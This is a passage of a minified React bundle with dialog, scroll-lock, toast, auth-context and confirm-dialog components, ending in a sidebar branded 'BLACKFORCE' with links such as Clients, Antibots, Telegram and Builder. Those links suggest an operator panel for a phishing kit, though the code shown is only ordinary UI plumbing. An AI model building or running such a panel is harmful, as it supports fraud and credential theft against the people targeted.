s=0,i=t.length,c;s<i;s++)(c||!(s in t))&&(c||(c=Array.prototype.slice.call(t,0,s)),c[s]=t[s]);return e.concat(c||Array.prototype.slice.call(t))}var T0="right-scroll-bar-position",D0="width-before-scroll-bar",FO="with-scroll-bars-hidden",OO="--removed-body-scroll-bar-size";function Ax(e,t){return typeof e=="function"?e(t):e&&(e.current=t),e}function LO(e,t){var n=C.useState(function(){return{value:e,callback:t,facade:{get current(){return n.value},set current(s){var i=n.value;i!==s&&(n.value=s,n.callback(s,i))}}}})[0];return n.callback=t,n.facade}var PO=typeof window<"u"?C.useLayoutEffect:C.useEffect,V4=new WeakMap;function zO(e,t){var n=LO(null,function(s){return e.forEach(function(i){return Ax(i,s)})});return PO(function(){var s=V4.get(n);if(s){var i=new Set(s),c=new Set(e),u=n.current;i.forEach(function(d){c.has(d)||Ax(d,null)}),c.forEach(function(d){i.has(d)||Ax(d,u)})}V4.set(n,e)},[e]),n}function VO(e){return e}function UO(e,t){t===void 0&&(t=VO);var n=[],s=!1,i={read:function(){if(s)throw new Error("Sidecar: could not `read` from an `assigned` medium. `read` could be used only with `useMedium`.");return n.length?n[n.length-1]:e},useMedium:function(c){var u=t(c,s);return n.push(u),function(){n=n.filter(function(d){return d!==u})}},assignSyncMedium:function(c){for(s=!0;n.length;){var u=n;n=[],u.forEach(c)}n={push:function(d){return c(d)},filter:function(){return n}}},assignMedium:function(c){s=!0;var u=[];if(n.length){var d=n;n=[],d.forEach(c),u=n}var m=function(){var p=u;u=[],p.forEach(c)},h=function(){return Promise.resolve().then(m)};h(),n={push:function(p){u.push(p),h()},filter:function(p){return u=u.filter(p),n}}}};return i}function IO(e){e===void 0&&(e={});var t=UO(null);return t.options=Ls({async:!0,ssr:!1},e),t}var Pj=function(e){var t=e.sideCar,n=Lj(e,["sideCar"]);if(!t)throw new Error("Sidecar: please provide `sideCar` property to import the right car");var s=t.read();if(!s)throw new Error("Sidecar medium not found");return C.createElement(s,Ls({},n))};Pj.isSideCarExport=!0;function HO(e,t){return e.useMedium(t),Pj}var zj=IO(),Tx=function(){},Sh=C.forwardRef(function(e,t){var n=C.useRef(null),s=C.useState({onScrollCapture:Tx,onWheelCapture:Tx,onTouchMoveCapture:Tx}),i=s[0],c=s[1],u=e.forwardProps,d=e.children,m=e.className,h=e.removeScrollBar,p=e.enabled,x=e.shards,g=e.sideCar,y=e.noRelative,w=e.noIsolation,S=e.inert,N=e.allowPinchZoom,T=e.as,E=T===void 0?"div":T,A=e.gapMode,j=Lj(e,["forwardProps","children","className","removeScrollBar","enabled","shards","sideCar","noRelative","noIsolation","inert","allowPinchZoom","as","gapMode"]),R=g,D=zO([n,t]),k=Ls(Ls({},j),i);return C.createElement(C.Fragment,null,p&&C.createElement(R,{sideCar:zj,removeScrollBar:h,shards:x,noRelative:y,noIsolation:w,inert:S,setCallbacks:c,allowPinchZoom:!!N,lockRef:n,gapMode:A}),u?C.cloneElement(C.Children.only(d),Ls(Ls({},k),{ref:D})):C.createElement(E,Ls({},k,{className:m,ref:D}),d))});Sh.defaultProps={enabled:!0,removeScrollBar:!0,inert:!1};Sh.classNames={fullWidth:D0,zeroRight:T0};var qO=function(){if(typeof __webpack_nonce__<"u")return __webpack_nonce__};function $O(){if(!document)return null;var e=document.createElement("style");e.type="text/css";var t=qO();return t&&e.setAttribute("nonce",t),e}function GO(e,t){e.styleSheet?e.styleSheet.cssText=t:e.appendChild(document.createTextNode(t))}function YO(e){var t=document.head||document.getElementsByTagName("head")[0];t.appendChild(e)}var KO=function(){var e=0,t=null;return{add:function(n){e==0&&(t=$O())&&(GO(t,n),YO(t)),e++},remove:function(){e--,!e&&t&&(t.parentNode&&t.parentNode.removeChild(t),t=null)}}},XO=function(){var e=KO();return function(t,n){C.useEffect(function(){return e.add(t),function(){e.remove()}},[t&&n])}},Vj=function(){var e=XO(),t=function(n){var s=n.styles,i=n.dynamic;return e(s,i),null};return t},WO={left:0,top:0,right:0,gap:0},Dx=function(e){return parseInt(e||"",10)||0},QO=function(e){var t=window.getComputedStyle(document.body),n=t[e==="padding"?"paddingLeft":"marginLeft"],s=t[e==="padding"?"paddingTop":"marginTop"],i=t[e==="padding"?"paddingRight":"marginRight"];return[Dx(n),Dx(s),Dx(i)]},ZO=function(e){if(e===void 0&&(e="margin"),typeof window>"u")return WO;var t=QO(e),n=document.documentElement.clientWidth,s=window.innerWidth;return{left:t[0],top:t[1],right:t[2],gap:Math.max(0,s-n+t[2]-t[0])}},JO=Vj(),Sl="data-scroll-locked",eL=function(e,t,n,s){var i=e.left,c=e.top,u=e.right,d=e.gap;return n===void 0&&(n="margin"),`
  .`.concat(FO,` {
   overflow: hidden `).concat(s,`;
   padding-right: `).concat(d,"px ").concat(s,`;
  }
  body[`).concat(Sl,`] {
    overflow: hidden `).concat(s,`;
    overscroll-behavior: contain;
    `).concat([t&&"position: relative ".concat(s,";"),n==="margin"&&`
    padding-left: `.concat(i,`px;
    padding-top: `).concat(c,`px;
    padding-right: `).concat(u,`px;
    margin-left:0;
    margin-top:0;
    margin-right: `).concat(d,"px ").concat(s,`;
    `),n==="padding"&&"padding-right: ".concat(d,"px ").concat(s,";")].filter(Boolean).join(""),`
  }
  
  .`).concat(T0,` {
    right: `).concat(d,"px ").concat(s,`;
  }
  
  .`).concat(D0,` {
    margin-right: `).concat(d,"px ").concat(s,`;
  }
  
  .`).concat(T0," .").concat(T0,` {
    right: 0 `).concat(s,`;
  }
  
  .`).concat(D0," .").concat(D0,` {
    margin-right: 0 `).concat(s,`;
  }
  
  body[`).concat(Sl,`] {
    `).concat(OO,": ").concat(d,`px;
  }
`)},U4=function(){var e=parseInt(document.body.getAttribute(Sl)||"0",10);return isFinite(e)?e:0},tL=function(){C.useEffect(function(){return document.body.setAttribute(Sl,(U4()+1).toString()),function(){var e=U4()-1;e<=0?document.body.removeAttribute(Sl):document.body.setAttribute(Sl,e.toString())}},[])},nL=function(e){var t=e.noRelative,n=e.noImportant,s=e.gapMode,i=s===void 0?"margin":s;tL();var c=C.useMemo(function(){return ZO(i)},[i]);return C.createElement(JO,{styles:eL(c,!t,i,n?"":"!important")})},Rg=!1;if(typeof window<"u")try{var Sf=Object.defineProperty({},"passive",{get:function(){return Rg=!0,!0}});window.addEventListener("test",Sf,Sf),window.removeEventListener("test",Sf,Sf)}catch{Rg=!1}var tl=Rg?{passive:!1}:!1,aL=function(e){return e.tagName==="TEXTAREA"},Uj=function(e,t){if(!(e instanceof Element))return!1;var n=window.getComputedStyle(e);return n[t]!=="hidden"&&!(n.overflowY===n.overflowX&&!aL(e)&&n[t]==="visible")},sL=function(e){return Uj(e,"overflowY")},rL=function(e){return Uj(e,"overflowX")},I4=function(e,t){var n=t.ownerDocument,s=t;do{typeof ShadowRoot<"u"&&s instanceof ShadowRoot&&(s=s.host);var i=Ij(e,s);if(i){var c=Hj(e,s),u=c[1],d=c[2];if(u>d)return!0}s=s.parentNode}while(s&&s!==n.body);return!1},iL=function(e){var t=e.scrollTop,n=e.scrollHeight,s=e.clientHeight;return[t,n,s]},oL=function(e){var t=e.scrollLeft,n=e.scrollWidth,s=e.clientWidth;return[t,n,s]},Ij=function(e,t){return e==="v"?sL(t):rL(t)},Hj=function(e,t){return e==="v"?iL(t):oL(t)},lL=function(e,t){return e==="h"&&t==="rtl"?-1:1},cL=function(e,t,n,s,i){var c=lL(e,window.getComputedStyle(t).direction),u=c*s,d=n.target,m=t.contains(d),h=!1,p=u>0,x=0,g=0;do{if(!d)break;var y=Hj(e,d),w=y[0],S=y[1],N=y[2],T=S-N-c*w;(w||T)&&Ij(e,d)&&(x+=T,g+=w);var E=d.parentNode;d=E&&E.nodeType===Node.DOCUMENT_FRAGMENT_NODE?E.host:E}while(!m&&d!==document.body||m&&(t.contains(d)||t===d));return(p&&Math.abs(x)<1||!p&&Math.abs(g)<1)&&(h=!0),h},Nf=function(e){return"changedTouches"in e?[e.changedTouches[0].clientX,e.changedTouches[0].clientY]:[0,0]},H4=function(e){return[e.deltaX,e.deltaY]},q4=function(e){return e&&"current"in e?e.current:e},uL=function(e,t){return e[0]===t[0]&&e[1]===t[1]},dL=function(e){return`
  .block-interactivity-`.concat(e,` {pointer-events: none;}
  .allow-interactivity-`).concat(e,` {pointer-events: all;}
`)},fL=0,nl=[];function hL(e){var t=C.useRef([]),n=C.useRef([0,0]),s=C.useRef(),i=C.useState(fL++)[0],c=C.useState(Vj)[0],u=C.useRef(e);C.useEffect(function(){u.current=e},[e]),C.useEffect(function(){if(e.inert){document.body.classList.add("block-interactivity-".concat(i));var S=MO([e.lockRef.current],(e.shards||[]).map(q4),!0).filter(Boolean);return S.forEach(function(N){return N.classList.add("allow-interactivity-".concat(i))}),function(){document.body.classList.remove("block-interactivity-".concat(i)),S.forEach(function(N){return N.classList.remove("allow-interactivity-".concat(i))})}}},[e.inert,e.lockRef.current,e.shards]);var d=C.useCallback(function(S,N){if("touches"in S&&S.touches.length===2||S.type==="wheel"&&S.ctrlKey)return!u.current.allowPinchZoom;var T=Nf(S),E=n.current,A="deltaX"in S?S.deltaX:E[0]-T[0],j="deltaY"in S?S.deltaY:E[1]-T[1],R,D=S.target,k=Math.abs(A)>Math.abs(j)?"h":"v";if("touches"in S&&k==="h"&&D.type==="range")return!1;var B=I4(k,D);if(!B)return!0;if(B?R=k:(R=k==="v"?"h":"v",B=I4(k,D)),!B)return!1;if(!s.current&&"changedTouches"in S&&(A||j)&&(s.current=R),!R)return!0;var I=s.current||R;return cL(I,N,S,I==="h"?A:j)},[]),m=C.useCallback(function(S){var N=S;if(!(!nl.length||nl[nl.length-1]!==c)){var T="deltaY"in N?H4(N):Nf(N),E=t.current.filter(function(R){return R.name===N.type&&(R.target===N.target||N.target===R.shadowParent)&&uL(R.delta,T)})[0];if(E&&E.should){N.cancelable&&N.preventDefault();return}if(!E){var A=(u.current.shards||[]).map(q4).filter(Boolean).filter(function(R){return R.contains(N.target)}),j=A.length>0?d(N,A[0]):!u.current.noIsolation;j&&N.cancelable&&N.preventDefault()}}},[]),h=C.useCallback(function(S,N,T,E){var A={name:S,delta:N,target:T,should:E,shadowParent:mL(T)};t.current.push(A),setTimeout(function(){t.current=t.current.filter(function(j){return j!==A})},1)},[]),p=C.useCallback(function(S){n.current=Nf(S),s.current=void 0},[]),x=C.useCallback(function(S){h(S.type,H4(S),S.target,d(S,e.lockRef.current))},[]),g=C.useCallback(function(S){h(S.type,Nf(S),S.target,d(S,e.lockRef.current))},[]);C.useEffect(function(){return nl.push(c),e.setCallbacks({onScrollCapture:x,onWheelCapture:x,onTouchMoveCapture:g}),document.addEventListener("wheel",m,tl),document.addEventListener("touchmove",m,tl),document.addEventListener("touchstart",p,tl),function(){nl=nl.filter(function(S){return S!==c}),document.removeEventListener("wheel",m,tl),document.removeEventListener("touchmove",m,tl),document.removeEventListener("touchstart",p,tl)}},[]);var y=e.removeScrollBar,w=e.inert;return C.createElement(C.Fragment,null,w?C.createElement(c,{styles:dL(i)}):null,y?C.createElement(nL,{noRelative:e.noRelative,gapMode:e.gapMode}):null)}function mL(e){for(var t=null;e!==null;)e instanceof ShadowRoot&&(t=e.host,e=e.host),e=e.parentNode;return t}const pL=HO(zj,hL);var Gv=C.forwardRef(function(e,t){return C.createElement(Sh,Ls({},e,{ref:t,sideCar:pL}))});Gv.classNames=Sh.classNames;var xL=function(e){if(typeof document>"u")return null;var t=Array.isArray(e)?e[0]:e;return t.ownerDocument.body},al=new WeakMap,Ef=new WeakMap,jf={},Rx=0,qj=function(e){return e&&(e.host||qj(e.parentNode))},gL=function(e,t){return t.map(function(n){if(e.contains(n))return n;var s=qj(n);return s&&e.contains(s)?s:(console.error("aria-hidden",n,"in not contained inside",e,". Doing nothing"),null)}).filter(function(n){return!!n})},vL=function(e,t,n,s){var i=gL(t,Array.isArray(e)?e:[e]);jf[n]||(jf[n]=new WeakMap);var c=jf[n],u=[],d=new Set,m=new Set(i),h=function(x){!x||d.has(x)||(d.add(x),h(x.parentNode))};i.forEach(h);var p=function(x){!x||m.has(x)||Array.prototype.forEach.call(x.children,function(g){if(d.has(g))p(g);else try{var y=g.getAttribute(s),w=y!==null&&y!=="false",S=(al.get(g)||0)+1,N=(c.get(g)||0)+1;al.set(g,S),c.set(g,N),u.push(g),S===1&&w&&Ef.set(g,!0),N===1&&g.setAttribute(n,"true"),w||g.setAttribute(s,"true")}catch(T){console.error("aria-hidden: cannot operate on ",g,T)}})};return p(t),d.clear(),Rx++,function(){u.forEach(function(x){var g=al.get(x)-1,y=c.get(x)-1;al.set(x,g),c.set(x,y),g||(Ef.has(x)||x.removeAttribute(s),Ef.delete(x)),y||x.removeAttribute(n)}),Rx--,Rx||(al=new WeakMap,al=new WeakMap,Ef=new WeakMap,jf={})}},$j=function(e,t,n){n===void 0&&(n="data-aria-hidden");var s=Array.from(Array.isArray(e)?e:[e]),i=xL(e);return i?(s.push.apply(s,Array.from(i.querySelectorAll("[aria-live], script"))),vL(s,i,n,"aria-hidden")):function(){return null}},Nh="Dialog",[Gj]=Dr(Nh),[yL,Ns]=Gj(Nh),Yj=e=>{const{__scopeDialog:t,children:n,open:s,defaultOpen:i,onOpenChange:c,modal:u=!0}=e,d=C.useRef(null),m=C.useRef(null),[h,p]=di({prop:s,defaultProp:i??!1,onChange:c,caller:Nh});return o.jsx(yL,{scope:t,triggerRef:d,contentRef:m,contentId:Nr(),titleId:Nr(),descriptionId:Nr(),open:h,onOpenChange:p,onOpenToggle:C.useCallback(()=>p(x=>!x),[p]),modal:u,children:n})};Yj.displayName=Nh;var Kj="DialogTrigger",Xj=C.forwardRef((e,t)=>{const{__scopeDialog:n,...s}=e,i=Ns(Kj,n),c=Mt(t,i.triggerRef);return o.jsx(dt.button,{type:"button","aria-haspopup":"dialog","aria-expanded":i.open,"aria-controls":i.contentId,"data-state":Xv(i.open),...s,ref:c,onClick:at(e.onClick,i.onOpenToggle)})});Xj.displayName=Kj;var Yv="DialogPortal",[bL,Wj]=Gj(Yv,{forceMount:void 0}),Qj=e=>{const{__scopeDialog:t,forceMount:n,children:s,container:i}=e,c=Ns(Yv,t);return o.jsx(bL,{scope:t,forceMount:n,children:C.Children.map(s,u=>o.jsx(vo,{present:n||c.open,children:o.jsx($v,{asChild:!0,container:i,children:u})}))})};Qj.displayName=Yv;var Y0="DialogOverlay",Zj=C.forwardRef((e,t)=>{const n=Wj(Y0,e.__scopeDialog),{forceMount:s=n.forceMount,...i}=e,c=Ns(Y0,e.__scopeDialog);return c.modal?o.jsx(vo,{present:s||c.open,children:o.jsx(CL,{...i,ref:t})}):null});Zj.displayName=Y0;var wL=pu("DialogOverlay.RemoveScroll"),CL=C.forwardRef((e,t)=>{const{__scopeDialog:n,...s}=e,i=Ns(Y0,n);return o.jsx(Gv,{as:wL,allowPinchZoom:!0,shards:[i.contentRef],children:o.jsx(dt.div,{"data-state":Xv(i.open),...s,ref:t,style:{pointerEvents:"auto",...s.style}})})}),uo="DialogContent",Jj=C.forwardRef((e,t)=>{const n=Wj(uo,e.__scopeDialog),{forceMount:s=n.forceMount,...i}=e,c=Ns(uo,e.__scopeDialog);return o.jsx(vo,{present:s||c.open,children:c.modal?o.jsx(SL,{...i,ref:t}):o.jsx(NL,{...i,ref:t})})});Jj.displayName=uo;var SL=C.forwardRef((e,t)=>{const n=Ns(uo,e.__scopeDialog),s=C.useRef(null),i=Mt(t,n.contentRef,s);return C.useEffect(()=>{const c=s.current;if(c)return $j(c)},[]),o.jsx(eA,{...e,ref:i,trapFocus:n.open,disableOutsidePointerEvents:!0,onCloseAutoFocus:at(e.onCloseAutoFocus,c=>{c.preventDefault(),n.triggerRef.current?.focus()}),onPointerDownOutside:at(e.onPointerDownOutside,c=>{const u=c.detail.originalEvent,d=u.button===0&&u.ctrlKey===!0;(u.button===2||d)&&c.preventDefault()}),onFocusOutside:at(e.onFocusOutside,c=>c.preventDefault())})}),NL=C.forwardRef((e,t)=>{const n=Ns(uo,e.__scopeDialog),s=C.useRef(!1),i=C.useRef(!1);return o.jsx(eA,{...e,ref:t,trapFocus:!1,disableOutsidePointerEvents:!1,onCloseAutoFocus:c=>{e.onCloseAutoFocus?.(c),c.defaultPrevented||(s.current||n.triggerRef.current?.focus(),c.preventDefault()),s.current=!1,i.current=!1},onInteractOutside:c=>{e.onInteractOutside?.(c),c.defaultPrevented||(s.current=!0,c.detail.originalEvent.type==="pointerdown"&&(i.current=!0));const u=c.target;n.triggerRef.current?.contains(u)&&c.preventDefault(),c.detail.originalEvent.type==="focusin"&&i.current&&c.preventDefault()}})}),eA=C.forwardRef((e,t)=>{const{__scopeDialog:n,trapFocus:s,onOpenAutoFocus:i,onCloseAutoFocus:c,...u}=e,d=Ns(uo,n),m=C.useRef(null),h=Mt(t,m);return Oj(),o.jsxs(o.Fragment,{children:[o.jsx(qv,{asChild:!0,loop:!0,trapped:s,onMountAutoFocus:i,onUnmountAutoFocus:c,children:o.jsx(Ch,{role:"dialog",id:d.contentId,"aria-describedby":d.descriptionId,"aria-labelledby":d.titleId,"data-state":Xv(d.open),...u,ref:h,onDismiss:()=>d.onOpenChange(!1)})}),o.jsxs(o.Fragment,{children:[o.jsx(EL,{titleId:d.titleId}),o.jsx(AL,{contentRef:m,descriptionId:d.descriptionId})]})]})}),Kv="DialogTitle",tA=C.forwardRef((e,t)=>{const{__scopeDialog:n,...s}=e,i=Ns(Kv,n);return o.jsx(dt.h2,{id:i.titleId,...s,ref:t})});tA.displayName=Kv;var nA="DialogDescription",aA=C.forwardRef((e,t)=>{const{__scopeDialog:n,...s}=e,i=Ns(nA,n);return o.jsx(dt.p,{id:i.descriptionId,...s,ref:t})});aA.displayName=nA;var sA="DialogClose",rA=C.forwardRef((e,t)=>{const{__scopeDialog:n,...s}=e,i=Ns(sA,n);return o.jsx(dt.button,{type:"button",...s,ref:t,onClick:at(e.onClick,()=>i.onOpenChange(!1))})});rA.displayName=sA;function Xv(e){return e?"open":"closed"}var iA="DialogTitleWarning",[gX,oA]=tO(iA,{contentName:uo,titleName:Kv,docsSlug:"dialog"}),EL=({titleId:e})=>{const t=oA(iA),n=`\`${t.contentName}\` requires a \`${t.titleName}\` for the component to be accessible for screen reader users.

If you want to hide the \`${t.titleName}\`, you can wrap it with our VisuallyHidden component.

For more information, see https://radix-ui.com/primitives/docs/components/${t.docsSlug}`;return C.useEffect(()=>{e&&(document.getElementById(e)||console.error(n))},[n,e]),null},jL="DialogDescriptionWarning",AL=({contentRef:e,descriptionId:t})=>{const s=`Warning: Missing \`Description\` or \`aria-describedby={undefined}\` for {${oA(jL).contentName}}.`;return C.useEffect(()=>{const i=e.current?.getAttribute("aria-describedby");t&&i&&(document.getElementById(t)||console.warn(s))},[s,e,t]),null},lA=Yj,cA=Xj,uA=Qj,Eh=Zj,jh=Jj,eo=tA,to=aA,dA=rA,fA=Object.freeze({position:"absolute",border:0,width:1,height:1,padding:0,margin:-1,overflow:"hidden",clip:"rect(0, 0, 0, 0)",whiteSpace:"nowrap",wordWrap:"normal"}),TL="VisuallyHidden",hA=C.forwardRef((e,t)=>o.jsx(dt.span,{...e,ref:t,style:{...fA,...e.style}}));hA.displayName=TL;var Wv=hA;const Kc=C.forwardRef(({...e},t)=>o.jsx(Wv,{ref:t,...e}));Kc.displayName=Wv.displayName;const DL=lA,RL=cA,_L=uA,kL=Ou("fixed z-50 gap-4 bg-background p-6 shadow-lg transition ease-in-out data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:duration-300 data-[state=open]:duration-500",{variants:{side:{top:"inset-x-0 top-0 border-b data-[state=closed]:slide-out-to-top data-[state=open]:slide-in-from-top",bottom:"inset-x-0 bottom-0 border-t data-[state=closed]:slide-out-to-bottom data-[state=open]:slide-in-from-bottom",left:"inset-y-0 left-0 h-full w-3/4 border-r data-[state=closed]:slide-out-to-left data-[state=open]:slide-in-from-left sm:max-w-sm",right:"inset-y-0 right-0 h-full w-3/4 border-l data-[state=closed]:slide-out-to-right data-[state=open]:slide-in-from-right sm:max-w-sm"}},defaultVariants:{side:"right"}}),mA=C.forwardRef(({className:e,...t},n)=>o.jsx(Eh,{className:je("fixed inset-0 z-50 bg-background/80 backdrop-blur-sm data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0",e),...t,ref:n}));mA.displayName=Eh.displayName;const pA=C.forwardRef(({side:e="right",className:t,children:n,title:s,description:i,hideTitle:c=!1,hideDescription:u=!1,...d},m)=>o.jsxs(_L,{children:[o.jsx(mA,{}),o.jsxs(jh,{ref:m,className:je(kL({side:e}),t),...d,children:[c?o.jsx(Kc,{children:o.jsx(eo,{children:s||"Dialog"})}):s?o.jsx(eo,{className:"sr-only",children:s}):o.jsx(Kc,{children:o.jsx(eo,{children:"Dialog"})}),u?o.jsx(Kc,{children:o.jsx(to,{children:i||"Dialog content"})}):i?o.jsx(to,{className:"sr-only",children:i}):o.jsx(Kc,{children:o.jsx(to,{children:"Dialog content"})}),n,o.jsxs(dA,{className:"absolute right-4 top-4 rounded-sm opacity-70 ring-offset-background transition-opacity hover:opacity-100 focus:outline-hidden focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:pointer-events-none data-[state=open]:bg-secondary",children:[o.jsx(Iv,{className:"h-4 w-4"}),o.jsx("span",{className:"sr-only",children:"Close"})]})]})]}));pA.displayName=jh.displayName;const BL=C.forwardRef(({className:e,...t},n)=>o.jsx(eo,{ref:n,className:je("text-lg font-semibold text-foreground",e),...t}));BL.displayName=eo.displayName;const ML=C.forwardRef(({className:e,...t},n)=>o.jsx(to,{ref:n,className:je("text-sm text-muted-foreground",e),...t}));ML.displayName=to.displayName;const FL=({...e})=>{const{theme:t="system"}=Q_();return o.jsx(LB,{theme:t,className:"toaster group",visibleToasts:4,closeButton:!0,toastOptions:{classNames:{toast:"group toast group-[.toaster]:bg-background group-[.toaster]:text-foreground group-[.toaster]:border-border group-[.toaster]:shadow-lg",description:"group-[.toast]:text-muted-foreground",actionButton:"group-[.toast]:bg-primary group-[.toast]:text-primary-foreground",cancelButton:"group-[.toast]:bg-muted group-[.toast]:text-muted-foreground"}},...e})},xA=C.createContext({}),Qv=()=>{const e=C.useContext(xA);if(!e)throw new Error("useAuth must be used within an AuthProvider");return e},OL=({children:e})=>{const[t,n]=C.useState(null),[s,i]=C.useState(!0),[c,u]=C.useState(!1),d=Qt();C.useEffect(()=>{(async()=>{if(d.getAuthToken())try{const N=await d.auth.getProfile();n(N),u(!0)}catch(N){console.error("Auth check failed:",N),d.removeAuthToken(),n(null),u(!1)}i(!1)})()},[]);const m=async w=>{try{i(!0);const S=await d.auth.login(w);if(S.access_token&&S.user)return n(S.user),u(!0),bl(`Welcome back, ${S.user.name}!`),{success:!0,user:S.user};throw new Error("Invalid response format")}catch(S){console.error("Login error:",S);let N="Login failed. Please try again.";return S.message.includes("Invalid credentials")||S.message.includes("401")?N="Invalid username or password.":S.message.includes("Network")?N="Network error. Please check your connection.":S.message&&(N=S.message),{success:!1,error:N}}finally{i(!1)}},h=async()=>{try{return i(!0),await d.auth.logout(),n(null),u(!1),{success:!0}}catch(w){return console.error("Logout error:",w),d.removeAuthToken(),n(null),u(!1),VB("Logged out (with errors)"),{success:!0}}finally{i(!1)}},y={user:t,loading:s,isAuthenticated:c,login:m,logout:h,register:async w=>{try{i(!0);const S=await d.apiCall("/auth/register",{method:"POST",body:JSON.stringify({name:w.name,username:w.username,email:w.email,password:w.password,password_confirmation:w.passwordConfirmation})});if(S.access_token&&S.user)return d.setAuthToken(S.access_token,!0),n(S.user),u(!0),bl(`Welcome, ${S.user.name}!`),{success:!0,user:S.user};throw new Error("Invalid response format")}catch(S){console.error("Registration error:",S);let N="Registration failed. Please try again.";return S.message.includes("validation")||S.message.includes("422")?N="Please check your input and try again.":(S.message.includes("username")||S.message.includes("email"))&&(N="Username or email already exists."),Tl(S)||wr(N),{success:!1,error:N}}finally{i(!1)}},updateProfile:async w=>{try{const S=await d.apiCall("/auth/profile",{method:"PUT",body:JSON.stringify(w)});return n(S.user),bl("Profile updated successfully"),{success:!0,user:S.user}}catch(S){return console.error("Profile update error:",S),Tl(S)||wr("Failed to update profile"),{success:!1,error:S.message}}},refreshToken:async()=>{try{const w=await d.auth.refreshToken();return w.access_token?(d.setAuthToken(w.access_token,!0),!0):!1}catch(w){return console.error("Token refresh failed:",w),h(),!1}}};return o.jsx(xA.Provider,{value:y,children:e})},Ah=lA,LL=cA,PL=uA,gA=C.forwardRef(({className:e,...t},n)=>o.jsx(Eh,{ref:n,className:je("fixed inset-0 z-50 bg-black/80 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0",e),...t}));gA.displayName=Eh.displayName;const Lu=C.forwardRef(({className:e,children:t,...n},s)=>o.jsxs(PL,{children:[o.jsx(gA,{}),o.jsxs(jh,{ref:s,className:je("fixed left-[50%] top-[50%] z-50 grid w-full max-w-lg translate-x-[-50%] translate-y-[-50%] gap-4 border bg-background p-6 shadow-lg duration-200 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[state=closed]:slide-out-to-left-1/2 data-[state=closed]:slide-out-to-top-[48%] data-[state=open]:slide-in-from-left-1/2 data-[state=open]:slide-in-from-top-[48%] sm:rounded-lg",e),...n,children:[t,o.jsxs(dA,{className:"absolute right-4 top-4 rounded-sm opacity-70 ring-offset-background transition-opacity hover:opacity-100 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:pointer-events-none data-[state=open]:bg-accent data-[state=open]:text-muted-foreground",children:[o.jsx(Iv,{className:"h-4 w-4"}),o.jsx("span",{className:"sr-only",children:"Close"})]})]})]}));Lu.displayName=jh.displayName;const Pu=({className:e,...t})=>o.jsx("div",{className:je("flex flex-col space-y-1.5 text-center sm:text-left",e),...t});Pu.displayName="DialogHeader";const zu=({className:e,...t})=>o.jsx("div",{className:je("flex flex-col-reverse sm:flex-row sm:justify-end sm:space-x-2",e),...t});zu.displayName="DialogFooter";const Vu=C.forwardRef(({className:e,...t},n)=>o.jsx(eo,{ref:n,className:je("text-lg font-semibold leading-none tracking-tight",e),...t}));Vu.displayName=eo.displayName;const Uu=C.forwardRef(({className:e,...t},n)=>o.jsx(to,{ref:n,className:je("text-sm text-muted-foreground",e),...t}));Uu.displayName=to.displayName;const vA=C.createContext(),Th=()=>{const e=C.useContext(vA);if(!e)throw new Error("useDialog must be used within a DialogProvider");return e},zL=({children:e})=>{const[t,n]=C.useState({isOpen:!1,title:"",description:"",confirmText:"Confirm",cancelText:"Cancel",variant:"default",onConfirm:null,onCancel:null}),s=({title:m,description:h,confirmText:p="Confirm",cancelText:x="Cancel",variant:g="default",onConfirm:y,onCancel:w})=>new Promise(S=>{n({isOpen:!0,title:m,description:h,confirmText:p,cancelText:x,variant:g,onConfirm:()=>{i(),y&&y(),S(!0)},onCancel:()=>{i(),w&&w(),S(!1)}})}),i=()=>{n(m=>({...m,isOpen:!1}))},d={showDialog:s,confirm:(m,h,p={})=>s({title:m,description:h,confirmText:p.confirmText||"Confirm",cancelText:p.cancelText||"Cancel",variant:p.variant||"default",onConfirm:p.onConfirm,onCancel:p.onCancel}),confirmDelete:(m="Delete Item",h="Are you sure you want to delete this item? This action cannot be undone.")=>s({title:m,description:h,confirmText:"Delete",cancelText:"Cancel",variant:"destructive"}),closeDialog:i};return o.jsxs(vA.Provider,{value:d,children:[e,o.jsx(Ah,{open:t.isOpen,onOpenChange:i,children:o.jsxs(Lu,{className:"sm:max-w-[425px]",children:[o.jsxs(Pu,{children:[o.jsx(Vu,{children:t.title}),t.description&&o.jsx(Uu,{children:t.description})]}),o.jsxs(zu,{children:[o.jsx(De,{variant:"outline",onClick:t.onCancel,children:t.cancelText}),o.jsx(De,{variant:t.variant,onClick:t.onConfirm,children:t.confirmText})]})]})})]})},xr=()=>{const e=Ca(),{user:t,logout:n}=Qv(),{confirm:s}=Th(),[i,c]=C.useState(!1),[u,d]=C.useState(!1),m=[{name:"Dashboard",href:Fv,icon:E9},{name:"Action",href:S7,icon:o9},{name:"Clients",href:du,icon:mu},{name:"Antibots",href:I0,icon:co},{name:"Telegram",href:fj,icon:Sg},{name:"Builder",href:mj,icon:H7},{name:"Settings",href:hj,icon:Cl}],h=y=>e.pathname===y||e.pathname.startsWith(y+"/"),p=()=>{c(!1)},x=()=>{d(!u)},g=async()=>{await s("Confirm Logout",`Are you sure you want to logout, ${t?.name||"User"}? You will need to sign in again to access your account.`,{confirmText:"Logout",cancelText:"Cancel",variant:"destructive"})&&(await n()).success};return o.jsxs(o.Fragment,{children:[o.jsxs("div",{className:`grid min-h-screen w-full relative overflow-hidden bg-[#000] transition-all duration-300 ${u?"md:grid-cols-[60px_1fr] lg:grid-cols-[60px_1fr]":"md:grid-cols-[220px_1fr] lg:grid-cols-[280px_1fr]"}`,children:[o.jsx("div",{className:"hidden dark:border-[#131313] border-r bg-muted/20 md:block relative",children:o.jsxs("div",{className:"flex h-full max-h-screen flex-col gap-2",children:[o.jsx("div",{className:"flex h-14 items-center dark:border-[#131313] border-b px-4 lg:h-[60px] lg:px-6",children:o.jsxs(gs,{to:"/",className:"flex items-center gap-2 font-semibold",children:[o.jsx(q0,{className:"h-6 w-6 flex-shrink-0"}),!u&&o.jsx("span",{className:"transition-opacity duration-200",children:"BLACKFORCE"})]})}),o.jsx("div",{className:"flex-1 px-2 lg:px-4",children:o.jsx("nav",{className:"grid items-start gap-2 text-sm font-medium",children:m.map(y=>{const w=y.icon,S=h(y.href);return o.jsxs(gs,{to:y.href,className:`flex items-center 